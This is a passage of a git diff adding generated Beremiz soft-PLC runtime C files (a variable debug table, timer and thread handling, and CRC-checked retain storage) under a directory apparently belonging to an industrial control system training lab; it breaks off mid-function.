UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + 